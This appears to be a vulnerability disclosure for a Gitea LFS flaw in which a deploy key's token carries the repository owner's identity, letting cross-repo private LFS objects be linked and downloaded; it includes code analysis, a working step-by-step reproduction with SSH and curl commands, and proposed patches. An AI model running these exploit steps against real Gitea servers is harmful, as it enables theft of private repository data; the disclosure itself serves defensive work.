Gitea LFS Deploy-Key Privilege Escalation

Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal — but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.

Technical Description

The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo owner, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.

First Faulty Condition

The primary bug — where the JWT UserID is set incorrectly — is in serv.go:

 1// routers/private/serv.go:252–278
 2if key.Type == asymkey_model.KeyTypeDeploy {
 3    ...
 4    // FIXME: Deploy keys aren't really the owner of the repo pushing changes
 5    // however we don't have good way of representing deploy keys in hook.go
 6    // so for now use the owner of the repository
 7    results.UserName = results.OwnerName
 8    results.UserID = repo.OwnerID    // ← OWNER's UID, not the deploy key
 9    ...
10}

The secondary bug — where the tainted UserID is actually misused — is in server.go:

 1// services/lfs/server.go:267–275
 2if exists && meta == nil {
 3    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
 4    ...
 5    if accessible {
 6        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)  // links OID to attacker's repo
 7        ...
 8    }
 9}

Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.

Attack Vector & Reachability

The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.

LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.

Reproduction Steps

Environment

The issue was reproduced using gitea/gitea:1.25.5 docker image.

Setup (performed as victim/admin — represents normal deployment state)

 1# 1. Victim creates a private repo and uploads an LFS object
 2git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
 3cd secret-repo
 4git lfs track "*.bin"
 5echo "TOP SECRET: password is hunter2" > secret.bin
 6git add .gitattributes secret.bin && git commit -m "secret"
 7git push && git lfs push origin main
 8 
 9# Note the OID and size from:
10git lfs pointer --file=secret.bin
11# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
12# size 32
13 
14# 2. Victim creates ci-repo and registers a write deploy key
15#    (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
16#    Attacker holds the corresponding private key (e.g. leaked from CI config)

Exploit

 1# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)
 2ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
 3  "git-lfs-authenticate victim/ci-repo upload"
 4# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
 5# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
 6#                                              ^^^^^^^^ victim's UID — BUG
 7 
 8JWT="eyJ..."
 9OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
10SIZE=32
11 
12# Step 2 — Confirm attacker is blocked from secret-repo directly
13curl -s -H "Authorization: Bearer $JWT" \
14  "http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
15# → {"Message":"Unauthorized"}  — correctly blocked
16 
17# Step 3 — Batch upload to ci-repo claiming the secret OID
18curl -s -X POST \
19  -H "Authorization: Bearer $JWT" \
20  -H "Accept: application/vnd.git-lfs+json" \
21  -H "Content-Type: application/vnd.git-lfs+json" \
22  "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
23  -d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
24# → {"objects":[{"oid":"1d4fed...","size":32}]}  — NO "actions" field
25#   server silently linked the OID to ci-repo without demanding proof of possession
26 
27# Step 4 — Download the secret via ci-repo
28curl -s -H "Authorization: Bearer $JWT" \
29  "http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
30# → TOP SECRET: password is hunter2

Expected output

 1Step 2:  {"Message":"Unauthorized"}          ← blocked from secret-repo
 2Step 3:  {"objects":[{"oid":"1d4fed...","size":32}]}  ← no actions = silently linked
 3Step 4:  TOP SECRET: password is hunter2     ← exfiltrated via ci-repo

PoC files

• poc.sh — end-to-end PoC using real SSH deploy key

A proper fix might require significant architecture change. A short term recommendation is presented below:

Fix 1 — services/lfs/server.go:267 (defense in depth, immediately effective)

Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about other repos should not be made using the JWT UserID.

 1// BEFORE (vulnerable):
 2if exists && meta == nil {
 3    accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
 4    if err != nil {
 5        log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
 6        writeStatus(ctx, http.StatusInternalServerError)
 7        return
 8    }
 9    if accessible {
10        _, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
11        if err != nil {
12            log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
13            writeStatus(ctx, http.StatusInternalServerError)
14            return
15        }
16    } else {
17        exists = false
18    }
19}

 1// After (safe):
 2if exists && meta == nil {
 3    // Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes
 4    // access to this repo. Always require proof-of-possession for objects
 5    // not already linked here.
 6    exists = false
 7}

The client will re-upload the bytes (which are hash-verified).
Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.

Full patch: fix1.patch

Fix 2 — routers/private/serv.go:275 (fix the source)

Stop embedding repo.OwnerID in the JWT for deploy keys. Options:

• Add a DeployKeyID field to the JWT Claims struct; teach handleLFSToken to construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited).
• Or mint a separate JWT type for deploy keys that server.go treats as repo-scoped only, refusing to use it for cross-repo operations.

Patch provenance: AI-generated + Human-reviewed

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.